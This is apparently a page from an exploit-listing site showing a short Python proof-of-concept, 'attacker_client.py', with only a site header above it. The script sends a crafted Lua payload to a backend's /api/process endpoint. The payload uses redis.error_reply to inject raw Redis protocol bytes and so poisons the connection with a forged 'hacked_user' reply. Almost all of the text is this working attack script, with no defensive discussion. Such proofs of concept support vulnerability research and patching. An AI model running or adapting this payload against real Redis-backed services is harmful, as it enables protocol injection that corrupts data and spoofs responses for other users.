4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / attacker_client.py PY
import requests
import sys

BACKEND_URL = "http://127.0.0.1:5001"

def main():
    malicious_script = 'error(redis.error_reply("INJECTED\\r\\n$11\\r\\nhacked_user"))'

    try:
        response = requests.post(
            f"{BACKEND_URL}/api/process",
            json={"script": malicious_script},
            timeout=5
        )
        print("Socket poisoning successful")
    except Exception as e:
        print(f"Error: {e}")
        return 1

    return 0

if __name__ == "__main__":
    sys.exit(main())